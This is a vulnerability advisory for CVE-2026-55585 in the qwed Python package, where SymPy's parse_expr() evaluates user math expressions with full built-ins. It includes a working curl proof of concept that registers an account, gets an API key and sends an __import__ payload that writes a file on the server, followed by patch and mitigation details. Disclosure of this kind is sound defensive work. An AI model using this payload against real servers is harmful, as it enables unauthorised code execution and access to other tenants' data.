high · 8.8CVE-2026-55585Aug 25, 2026

CVE-2026-55585: qwed Authenticated Remote Code Execution via Unsafe SymPy parse_expr()

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

Any user with a free account on a qwed server can run arbitrary operating-system commands inside the API process by sending a crafted math expression, because the expression is passed straight to…

Packageqwed
Ecosystempip
Affected< 5.1.2
Fixed in5.1.2
CVE-2026-55585: qwed Authenticated Remote Code Execution via Unsafe SymPy parse_expr()

The problem

The math verification endpoints POST /verify/math and POST /verify/batch pass attacker-controlled input directly to SymPy's parse_expr() function. Neither call site sets the local_dict or global_dict parameters, so the full Python built-in namespace is available to eval().

Account registration is open by default at /auth/signup, requiring no invitation or admin approval. A successful exploit gives the attacker full read, write, and execute access inside the API server process, including access to secrets, the database, and the filesystem of every tenant on the instance.

Proof of concept

A working proof-of-concept for CVE-2026-55585 in qwed, with the exact payload below.

bash
# Step 1: register a free account and capture JWT
TOKEN=$(curl -sS -X POST http://TARGET:8765/auth/signup \
  -H 'Content-Type: application/json' \
  -d '{"email":"poc@example.com","password":"Password123!","organization_name":"poc-org"}' \
  | python3 -c 'import sys,json; print(json.load(sys.stdin)["access_token"])')

# Step 2: create an API key
APIKEY=$(curl -sS -X POST http://TARGET:8765/auth/api-keys \
  -H 'Content-Type: application/json' \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"name":"poc"}' \
  | python3 -c 'import sys,json; print(json.load(sys.stdin)["key"])')

# Step 3: send the RCE payload
curl -sS -X POST http://TARGET:8765/verify/math \
  -H 'Content-Type: application/json' \
  -H "x-api-key: $APIKEY" \
  -d '{"expression":"__import__(\x27pathlib\x27).Path(\x27/tmp/qwed_parse_expr_rce\x27).write_text(\x27pwned_by_parse_expr_rce\x27)"}')

# Server returns HTTP 200 with {"value": 23.0} — the return value of write_text() cast to SymPy Integer.
# Confirm file written inside the process:
# cat /tmp/qwed_parse_expr_rce  =>  pwned_by_parse_expr_rce

parse_expr() internally calls Python's eval(). Without explicit local_dict and global_dict arguments, eval() inherits the interpreter's full built-in namespace, so __import__() and every other built-in are freely callable by the attacker.

The patch introduced a safe_parse_expr() wrapper that passes {"__builtins__": {}} as the global namespace and an allowlisted set of math symbols as local_dict, then adds an AST depth check and rejects relational expressions. All 17 call sites in the codebase were migrated to this wrapper.

The root cause is CWE-94 (Improper Control of Code Generation).

The fix

Upgrade to qwed 5.1.2 or later. The release replaces every direct parse_expr() call with a safe_parse_expr() wrapper that strips built-ins, applies an allowlist of math symbols, enforces AST depth limits, and rejects relational expressions. If an immediate upgrade is not possible, disable the /auth/signup endpoint and restrict /verify/math and /verify/batch to trusted networks.

Reporter not attributed.

References: [1][2][3][4][5]

Related research